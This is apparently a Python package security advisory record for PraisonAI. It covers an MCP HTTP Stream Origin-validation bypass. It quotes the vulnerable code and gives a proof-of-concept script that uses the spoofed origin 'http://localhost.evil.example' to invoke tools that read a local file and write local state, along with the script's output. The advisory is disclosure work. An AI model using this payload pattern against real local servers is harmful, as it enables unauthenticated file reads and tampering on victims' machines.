{"id":"PYSEC-2026-3896","summary":"PraisonAI has an origin validation bypass in MCP HTTP Stream transport that allows browser-mediated unauthenticated tool execution on local MCP server","details":"### Summary\n\nPraisonAI's MCP HTTP Stream transport uses an unsafe prefix match when validating the `Origin` header. The default localhost allowlist includes origins such as `http://localhost`, and the validation accepts any origin that starts with an allowed value.\n\nAs a result, an attacker-controlled origin such as `http://localhost.evil.example` passes the localhost origin check.\n\nWhen the MCP HTTP Stream server is started without an API key, which is the CLI default, this allows a malicious webpage to trigger unauthenticated MCP `tools/call` requests against a locally running PraisonAI MCP server.\n\nThis is best framed as a browser-mediated localhost attack / DNS-rebinding-style Origin validation bypass. The default server binds to `127.0.0.1`, so this is not a directly internet-facing unauthenticated API in the default configuration.\n\n### Details\n\nRelevant source locations:\n\n- `src/praisonai/praisonai/mcp_server/cli.py`\n- `src/praisonai/praisonai/mcp_server/transports/http_stream.py`\n- `src/praisonai/praisonai/mcp_server/server.py`\n- `src/praisonai/praisonai/mcp_server/adapters/__init__.py`\n- `src/praisonai/praisonai/mcp_server/adapters/extended_capabilities.py`\n- `src/praisonai/praisonai/mcp_server/adapters/cli_tools.py`\n- `src/praisonai/praisonai/capabilities/files.py`\n\nThe MCP CLI defaults to HTTP host `127.0.0.1`, API key `None`, and allowed origins `None` unless explicitly configured:\n\n```python\nparser.add_argument(\"--host\", default=\"127.0.0.1\")\nparser.add_argument(\"--port\", type=int, default=8080)\nparser.add_argument(\"--api-key\", default=None)\nparser.add_argument(\"--allowed-origins\", default=None, help=\"Comma-separated allowed origins for security\")\n```\n\nThe CLI registers all tools and passes the optional API key and allowed origins into the HTTP Stream transport:\n\n```python\nregister_all()\n\nserver.run_http_stream(\n    host=parsed.host,\n    port=parsed.port,\n    endpoint=parsed.endpoint,\n    api_key=parsed.api_key,\n    cors_origins=cors_origins,\n    allowed_origins=allowed_origins,\n    session_ttl=parsed.session_ttl,\n    allow_client_termination=allow_termination,\n    response_mode=parsed.response_mode,\n    resumability_enabled=parsed.resumability,\n)\n```\n\nWhen `allowed_origins` is not explicitly configured and the server binds to localhost, the transport allowlist includes bare localhost origins:\n\n```python\nif allowed_origins is None:\n    if host in (\"127.0.0.1\", \"localhost\", \"::1\"):\n        self.allowed_origins = [\n            \"http://localhost\",\n            \"http://127.0.0.1\",\n            \"https://localhost\",\n            \"https://127.0.0.1\",\n        ]\n```\n\nThe vulnerable validation accepts origins that merely start with an allowlisted value:\n\n```python\nfor allowed in self.allowed_origins:\n    if request_origin == allowed or request_origin.startswith(allowed):\n        return True\n```\n\nBecause `http://localhost.evil.example` starts with `http://localhost`, it is accepted as a trusted localhost origin.\n\nAuthentication is only enforced if an API key is configured:\n\n```python\nif self.api_key:\n    auth_header = request.headers.get(\"Authorization\", \"\")\n    if not auth_header.startswith(\"Bearer \") or auth_header[7:] != self.api_key:\n        return JSONResponse(\n            {\"error\": \"Unauthorized\"},\n            status_code=401,\n        )\n```\n\nThe request body is then parsed and dispatched to the MCP server:\n\n```python\nbody = await request.json()\nresponse = await self.server.handle_message(body)\n```\n\nThe MCP server handles `tools/call` by looking up the named tool and invoking the registered handler with attacker-controlled arguments:\n\n```python\ntool_name = params.get(\"name\")\narguments = params.get(\"arguments\", {})\n\ntool = self._tool_registry.get(tool_name)\n\nif asyncio.iscoroutinefunction(tool.handler):\n    result = await tool.handler(**arguments)\nelse:\n    result = tool.handler(**arguments)\n```\n\n`register_all()` registers capability tools, extended capability tools, CLI tools, resources, and prompts:\n\n```python\ndef _register_all():\n    register_all_tools()\n    register_extended_capability_tools()\n    register_cli_tools()\n    register_mcp_resources()\n    register_mcp_prompts()\n```\n\nOne exposed MCP tool is `praisonai.files.create`, which accepts a local `file_path` and passes it to `file_create()`:\n\n```python\n@register_tool(\"praisonai.files.create\")\ndef files_create(file_path: str, purpose: str = \"assistants\") -\u003e str:\n    from praisonai.capabilities import file_create\n    result = file_create(file=file_path, purpose=purpose)\n```\n\n`file_create()` opens attacker-selected string paths as local files and passes the file object to LiteLLM:\n\n```python\nfile_obj = file\nif isinstance(file, str):\n    file_obj = open(file, 'rb')\n\nresponse = litellm.create_file(**call_kwargs)\n```\n\nAnother exposed MCP tool, `praisonai.todo.add`, writes attacker-supplied content into local PraisonAI state at `~/.praison/todo.json`.\n\n### PoC\n\nThe following local PoC verifies the vulnerable Origin logic and unauthenticated MCP tool execution without contacting any external provider. It uses a fake in-memory `litellm` module so the file-read effect is captured locally and safely.\n\nRun from the repository root with test dependencies installed:\n\n```bash\npython3 poc_mcp_origin_bypass.py\n```\n\n`poc_mcp_origin_bypass.py`:\n\n```python\nimport json\nimport os\nimport sys\nimport tempfile\nimport types\nfrom pathlib import Path\n\nfrom starlette.testclient import TestClient\n\nROOT = Path.cwd()\nsys.path.insert(0, str(ROOT / \"src\" / \"praisonai\"))\nsys.path.insert(0, str(ROOT / \"src\" / \"praisonai-agents\"))\n\n# Fake litellm so the PoC proves local file read without network exfiltration.\ncaptured = {}\nfake_litellm = types.ModuleType(\"litellm\")\n\ndef create_file(**kwargs):\n    f = kwargs[\"file\"]\n    captured[\"filename\"] = getattr(f, \"name\", \"\u003cbytes\u003e\")\n    captured[\"content\"] = f.read().decode(\"utf-8\")\n\n    class Resp:\n        id = \"file-safe-local-poc\"\n        object = \"file\"\n        bytes = len(captured[\"content\"])\n        filename = captured[\"filename\"]\n        purpose = kwargs.get(\"purpose\")\n        status = \"processed\"\n\n    return Resp()\n\nfake_litellm.create_file = create_file\nsys.modules[\"litellm\"] = fake_litellm\n\nfrom praisonai.mcp_server.server import MCPServer\nfrom praisonai.mcp_server.transports.http_stream import HTTPStreamTransport\nfrom praisonai.mcp_server.adapters import register_all\n\nregister_all()\nserver = MCPServer(name=\"praisonai-local-poc\")\n\n# Default vulnerable configuration: localhost host, no API key, default allowed origins.\ntransport = HTTPStreamTransport(\n    server=server,\n    host=\"127.0.0.1\",\n    api_key=None,\n    allowed_origins=None,\n)\napp = transport._create_app()\nclient = TestClient(app)\n\nwith tempfile.TemporaryDirectory() as td:\n    os.environ[\"HOME\"] = td\n\n    marker = Path(td) / \"safe-marker.txt\"\n    marker.write_text(\"SAFE_LOCAL_MARKER_MCP_FILE_READ\")\n\n    file_payload = {\n        \"jsonrpc\": \"2.0\",\n        \"id\": 1,\n        \"method\": \"tools/call\",\n        \"params\": {\n            \"name\": \"praisonai.files.create\",\n            \"arguments\": {\n                \"file_path\": str(marker),\n                \"purpose\": \"assistants\",\n            },\n        },\n    }\n\n    # Non-localhost malicious origin is blocked.\n    blocked = client.post(\n        \"/mcp\",\n        data=json.dumps(file_payload),\n        headers={\n            \"Origin\": \"https://evil.example\",\n            \"Content-Type\": \"text/plain\",\n        },\n    )\n\n    # Prefix-matching bypass: accepted because it starts with http://localhost.\n    bypass = client.post(\n        \"/mcp\",\n        data=json.dumps(file_payload),\n        headers={\n            \"Origin\": \"http://localhost.evil.example\",\n            \"Content-Type\": \"text/plain\",\n        },\n    )\n\n    todo_payload = {\n        \"jsonrpc\": \"2.0\",\n        \"id\": 2,\n        \"method\": \"tools/call\",\n        \"params\": {\n            \"name\": \"praisonai.todo.add\",\n            \"arguments\": {\n                \"content\": \"SAFE_LOCAL_TODO_MARKER\",\n                \"priority\": \"high\",\n            },\n        },\n    }\n\n    todo = client.post(\n        \"/mcp\",\n        data=json.dumps(todo_payload),\n        headers={\n            \"Origin\": \"http://localhost.evil.example\",\n            \"Content-Type\": \"text/plain\",\n        },\n    )\n\n    todo_file = Path(td) / \".praison\" / \"todo.json\"\n\n    print(json.dumps({\n        \"blocked_origin_status\": blocked.status_code,\n        \"bypass_origin_status\": bypass.status_code,\n        \"bypass_response_text\": bypass.json().get(\"result\", {}).get(\"content\", [{}])[0].get(\"text\"),\n        \"captured_file_basename\": Path(captured.get(\"filename\", \"\")).name,\n        \"captured_file_content\": captured.get(\"content\"),\n        \"todo_status\": todo.status_code,\n        \"todo_response_text\": todo.json().get(\"result\", {}).get(\"content\", [{}])[0].get(\"text\"),\n        \"todo_file_exists\": todo_file.exists(),\n    }, indent=2))\n```\n\nObserved output:\n\n```json\n{\n  \"blocked_origin_status\": 403,\n  \"bypass_origin_status\": 200,\n  \"bypass_response_text\": \"File created: file-safe-local-poc\",\n  \"captured_file_basename\": \"safe-marker.txt\",\n  \"captured_file_content\": \"SAFE_LOCAL_MARKER_MCP_FILE_READ\",\n  \"todo_status\": 200,\n  \"todo_response_text\": \"Todo added: 0440613d\",\n  \"todo_file_exists\": true\n}\n```\n\nThe important results are:\n\n- `Origin: https://evil.example` is rejected with `403`.\n- `Origin: http://localhost.evil.example` is accepted with `200`.\n- The bypassed request invokes `praisonai.files.create` and reads the local safe marker file.\n - The bypassed request invokes `praisonai.todo.add` and writes local PraisonAI state.\n\n### Impact\n\nA malicious webpage can bypass the localhost Origin allowlist and trigger MCP `tools/call` requests against a locally running unauthenticated HTTP Stream server.\n\nIn local testing, this allowed invoking registered PraisonAI tools that:\n\n- read an attacker-selected local file path and pass the file handle to the configured LiteLLM provider; and\n- modify local PraisonAI state by writing to `~/.praison/todo.json`.\n\nThe default MCP HTTP Stream bind address is localhost, so exploitation is browser-mediated. A practical attack requires the victim to run the HTTP Stream MCP server without an API key and visit an attacker-controlled origin that matches the prefix bypass, or a DNS-rebinding-style setup. If an API key is configured, exploitability is significantly reduced.","aliases":["CVE-2026-55529","GHSA-wj6g-v78p-6fx3"],"modified":"2026-09-10T12:15:10.127680684Z","published":"2026-09-10T09:44:53.938487Z","references":[{"type":"WEB","url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-wj6g-v78p-6fx3"},{"type":"WEB","url":"https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"},{"type":"PACKAGE","url":"https://github.com/MervinPraison/PraisonAI"},{"type":"WEB","url":"https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"},{"type":"PACKAGE","url":"https://pypi.org/project/praisonai"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-wj6g-v78p-6fx3"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55529"}],"affected":[{"package":{"name":"praisonai","ecosystem":"PyPI","purl":"pkg:pypi/praisonai"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.6.58"}]}],"versions":["0.0.1","0.0.10","0.0.11","0.0.12","0.0.13","0.0.14","0.0.15","0.0.16","0.0.17","0.0.18","0.0.19","0.0.2","0.0.20","0.0.21","0.0.22","0.0.23","0.0.24","0.0.25","0.0.26","0.0.27","0.0.28","0.0.29","0.0.3","0.0.30","0.0.31","0.0.32","0.0.33","0.0.34","0.0.35","0.0.36","0.0.37","0.0.38","0.0.39","0.0.4","0.0.40","0.0.41","0.0.42","0.0.43","0.0.44","0.0.45","0.0.46","0.0.47","0.0.48","0.0.49","0.0.5","0.0.50","0.0.52","0.0.53","0.0.54","0.0.55","0.0.56","0.0.57","0.0.58","0.0.59","0.0.59rc11","0.0.59rc2","0.0.59rc3","0.0.59rc5","0.0.59rc6","0.0.59rc7","0.0.59rc8","0.0.59rc9","0.0.6","0.0.61","0.0.64","0.0.65","0.0.66","0.0.67","0.0.68","0.0.69","0.0.7","0.0.70","0.0.71","0.0.72","0.0.73","0.0.74","0.0.8","0.0.9","0.1.0","0.1.1","0.1.10","0.1.2","0.1.3","0.1.4","0.1.5","0.1.6","0.1.7","0.1.8","0.1.9","1.0.0","1.0.1","1.0.10","1.0.11","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.8","1.0.9","2.0.0","2.0.1","2.0.10","2.0.11","2.0.12","2.0.13","2.0.14","2.0.15","2.0.16","2.0.17","2.0.18","2.0.19","2.0.2","2.0.20","2.0.22","2.0.23","2.0.24","2.0.25","2.0.26","2.0.27","2.0.28","2.0.29","2.0.3","2.0.30","2.0.31","2.0.32","2.0.33","2.0.34","2.0.35","2.0.36","2.0.37","2.0.38","2.0.39","2.0.40","2.0.41","2.0.42","2.0.43","2.0.44","2.0.45","2.0.46","2.0.47","2.0.48","2.0.49","2.0.5","2.0.50","2.0.51","2.0.53","2.0.54","2.0.55","2.0.56","2.0.57","2.0.58","2.0.59","2.0.6","2.0.60","2.0.61","2.0.62","2.0.63","2.0.64","2.0.65","2.0.66","2.0.67","2.0.68","2.0.69","2.0.7","2.0.70","2.0.71","2.0.72","2.0.73","2.0.74","2.0.75","2.0.76","2.0.77","2.0.78","2.0.79","2.0.8","2.0.80","2.0.81","2.0.9","2.1.0","2.1.1","2.1.4","2.1.5","2.1.6","2.2.1","2.2.10","2.2.11","2.2.12","2.2.13","2.2.14","2.2.15","2.2.16","2.2.17","2.2.18","2.2.19","2.2.2","2.2.20","2.2.21","2.2.22","2.2.24","2.2.25","2.2.26","2.2.27","2.2.28","2.2.29","2.2.3","2.2.30","2.2.31","2.2.32","2.2.33","2.2.34","2.2.35","2.2.36","2.2.37","2.2.38","2.2.39","2.2.4","2.2.40","2.2.41","2.2.42","2.2.43","2.2.44","2.2.45","2.2.46","2.2.47","2.2.48","2.2.49","2.2.5","2.2.50","2.2.51","2.2.52","2.2.53","2.2.54","2.2.55","2.2.56","2.2.57","2.2.58","2.2.59","2.2.6","2.2.60","2.2.61","2.2.62","2.2.63","2.2.64","2.2.65","2.2.66","2.2.67","2.2.68","2.2.69","2.2.7","2.2.70","2.2.71","2.2.72","2.2.73","2.2.74","2.2.75","2.2.76","2.2.77","2.2.78","2.2.79","2.2.8","2.2.80","2.2.81","2.2.82","2.2.83","2.2.84","2.2.86","2.2.87","2.2.88","2.2.89","2.2.9","2.2.90","2.2.91","2.2.93","2.2.95","2.2.96","2.2.97","2.2.98","2.2.99","2.3.0","2.3.1","2.3.10","2.3.11","2.3.12","2.3.13","2.3.14","2.3.15","2.3.16","2.3.18","2.3.19","2.3.2","2.3.20","2.3.21","2.3.22","2.3.23","2.3.24","2.3.25","2.3.26","2.3.27","2.3.28","2.3.29","2.3.3","2.3.30","2.3.31","2.3.32","2.3.33","2.3.34","2.3.35","2.3.36","2.3.37","2.3.38","2.3.39","2.3.4","2.3.40","2.3.41","2.3.42","2.3.43","2.3.44","2.3.45","2.3.46","2.3.47","2.3.48","2.3.49","2.3.5","2.3.50","2.3.51","2.3.52","2.3.53","2.3.54","2.3.55","2.3.56","2.3.57","2.3.58","2.3.59","2.3.6","2.3.60","2.3.61","2.3.62","2.3.63","2.3.64","2.3.65","2.3.66","2.3.67","2.3.68","2.3.69","2.3.7","2.3.70","2.3.71","2.3.72","2.3.73","2.3.74","2.3.75","2.3.76","2.3.77","2.3.78","2.3.79","2.3.8","2.3.80","2.3.81","2.3.82","2.3.83","2.3.84","2.3.85","2.3.86","2.3.87","2.3.9","2.4.0","2.4.1","2.4.2","2.4.3","2.4.4","2.5.0","2.5.1","2.5.2","2.5.3","2.5.4","2.5.5","2.5.6","2.5.7","2.6.0","2.6.1","2.6.2","2.6.3","2.6.4","2.6.5","2.6.6","2.6.7","2.6.8","2.7.0","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.8.9","2.9.0","2.9.1","2.9.2","3.0.0","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.1","3.1.2","3.1.3","3.1.4","3.1.5","3.1.6","3.1.7","3.1.8","3.1.9","3.10.0","3.10.1","3.10.10","3.10.11","3.10.12","3.10.13","3.10.14","3.10.15","3.10.16","3.10.17","3.10.18","3.10.19","3.10.2","3.10.20","3.10.21","3.10.22","3.10.23","3.10.24","3.10.25","3.10.26","3.10.27","3.10.3","3.10.4","3.10.5","3.10.6","3.10.7","3.10.8","3.10.9","3.11.0","3.11.1","3.11.10","3.11.11","3.11.12","3.11.13","3.11.14","3.11.2","3.11.3","3.11.4","3.11.8","3.11.9","3.12.0","3.12.1","3.12.2","3.12.3","3.2.0","3.2.1","3.3.0","3.3.1","3.4.0","3.4.1","3.5.0","3.5.1","3.5.2","3.5.3","3.5.4","3.5.5","3.5.6","3.5.7","3.5.8","3.5.9","3.6.0","3.6.1","3.6.2","3.7.0","3.7.1","3.7.2","3.7.3","3.7.4","3.7.5","3.7.6","3.7.7","3.7.8","3.7.9","3.8.0","3.8.1","3.8.10","3.8.11","3.8.12","3.8.13","3.8.14","3.8.16","3.8.17","3.8.18","3.8.19","3.8.2","3.8.20","3.8.21","3.8.22","3.8.3","3.8.4","3.8.5","3.8.6","3.8.7","3.8.8","3.8.9","3.9.0","3.9.1","3.9.10","3.9.11","3.9.12","3.9.13","3.9.14","3.9.15","3.9.16","3.9.17","3.9.18","3.9.19","3.9.2","3.9.20","3.9.21","3.9.22","3.9.23","3.9.24","3.9.25","3.9.26","3.9.27","3.9.28","3.9.29","3.9.3","3.9.30","3.9.31","3.9.32","3.9.33","3.9.34","3.9.35","3.9.4","3.9.5","3.9.6","3.9.7","3.9.8","3.9.9","4.0.0","4.1.0","4.2.0","4.2.1","4.2.2","4.2.3","4.2.4","4.3.0","4.3.1","4.4.0","4.4.10","4.4.11","4.4.12","4.4.2","4.4.3","4.4.4","4.4.5","4.4.6","4.4.7","4.4.8","4.4.9","4.5.0","4.5.1","4.5.10","4.5.100","4.5.101","4.5.102","4.5.103","4.5.104","4.5.105","4.5.106","4.5.107","4.5.108","4.5.109","4.5.11","4.5.110","4.5.111","4.5.112","4.5.113","4.5.114","4.5.115","4.5.117","4.5.118","4.5.119","4.5.12","4.5.120","4.5.121","4.5.122","4.5.123","4.5.124","4.5.125","4.5.126","4.5.127","4.5.128","4.5.129","4.5.13","4.5.130","4.5.131","4.5.132","4.5.133","4.5.134","4.5.135","4.5.136","4.5.137","4.5.139","4.5.14","4.5.140","4.5.143","4.5.144","4.5.145","4.5.149","4.5.15","4.5.16","4.5.18","4.5.19","4.5.2","4.5.20","4.5.21","4.5.22","4.5.23","4.5.24","4.5.25","4.5.26","4.5.27","4.5.28","4.5.29","4.5.3","4.5.30","4.5.31","4.5.32","4.5.33","4.5.34","4.5.35","4.5.36","4.5.37","4.5.38","4.5.39","4.5.40","4.5.41","4.5.42","4.5.43","4.5.44","4.5.45","4.5.46","4.5.48","4.5.49","4.5.5","4.5.51","4.5.52","4.5.54","4.5.55","4.5.56","4.5.57","4.5.58","4.5.59","4.5.6","4.5.60","4.5.62","4.5.63","4.5.64","4.5.65","4.5.67","4.5.68","4.5.69","4.5.7","4.5.70","4.5.71","4.5.72","4.5.73","4.5.74","4.5.76","4.5.77","4.5.78","4.5.79","4.5.8","4.5.80","4.5.81","4.5.82","4.5.83","4.5.85","4.5.87","4.5.88","4.5.89","4.5.9","4.5.90","4.5.93","4.5.94","4.5.95","4.5.96","4.5.97","4.5.98","4.6.10","4.6.11","4.6.12","4.6.13","4.6.14","4.6.15","4.6.16","4.6.18","4.6.19","4.6.20","4.6.21","4.6.22","4.6.23","4.6.24","4.6.25","4.6.26","4.6.27","4.6.28","4.6.29","4.6.30","4.6.31","4.6.32","4.6.33","4.6.34","4.6.35","4.6.36","4.6.37","4.6.38","4.6.39","4.6.40","4.6.41","4.6.42","4.6.43","4.6.44","4.6.45","4.6.46","4.6.47","4.6.48","4.6.50","4.6.51","4.6.52","4.6.53","4.6.54","4.6.55","4.6.56","4.6.57","4.6.9"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/praisonai/PYSEC-2026-3896.yaml"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N"}]}